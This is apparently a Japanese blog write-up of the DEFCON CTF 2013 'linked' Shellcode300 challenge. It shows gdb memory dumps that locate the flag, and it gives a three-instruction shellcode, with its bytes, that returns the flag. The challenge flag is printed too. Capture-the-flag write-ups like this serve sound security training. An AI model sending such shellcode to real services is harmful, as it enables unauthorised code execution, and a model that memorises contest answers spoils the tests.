読者です 読者をやめる 読者になる 読者になる

DEFCON CTF2013 linked writeup

DEFCON CTFの過去問を解いていきます。

binariesが欲しい方は前回の記事を参照してください。

 

5つめはShellcode300のlinkedです。

 

よく分からない連結リストっぽいものを作っているので、とりあえず真面目にReversingせずにメモリを見てみると

poteti@ubuntu:~/training/linked$ sudo gdb linked -q
Reading symbols from /home/poteti/training/linked/linked...(no debugging symbols found)...done.
(gdb) b *0x08048EBB
Breakpoint 1 at 0x8048ebb
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /home/poteti/training/linked/linked
[New process 58135]
[Switching to process 58135]

Breakpoint 1, 0x08048ebb in ff ()
(gdb) si
0xf7fd8000 in ?? ()
(gdb) x/xw $ebp-0x100
0xffffd5a8:    0x0804d880
(gdb) x/32xw 0x0804d880
0x804d880:    0xf7b27008    0x00000000    0x00000000    0x00000000
0x804d890:    0x00000000    0x00000000    0x00000000    0x00000000
0x804d8a0:    0x00000000    0x00000000    0x00000000    0x00000000
0x804d8b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x804d8c0:    0x00000000    0x00000000    0x00000000    0x00000000
0x804d8d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x804d8e0:    0x00000000    0x00000000    0x00000000    0x00000071
0x804d8f0:    0xf77ae008    0x41414100    0x20656854    0x2079656b
(gdb) x/s 0x804d8fc
0x804d8fc:    "key is: Who says ESP isn't general purpose!?!?\n"

 どうやら、ebp-0x100の中に入っているアドレスのoffset+0x7cからFLAGが入ってるようで、これはurandomの値によらないため、固定アドレスであるとわかります。

したがって、

00000000  8B8500FFFFFF      mov eax,[ebp-0x100]
00000006  05FC000000        add eax,0xfc
0000000B  C3                ret

これを送るだけで自動的にFLAGがsend_stringによって返されます。

f:id:potetisensei:20140219195026p:plain

key is: Who says ESP isn't general purpose!?!?

所要時間30分。

なんでこんなのがShellcode300なんだ....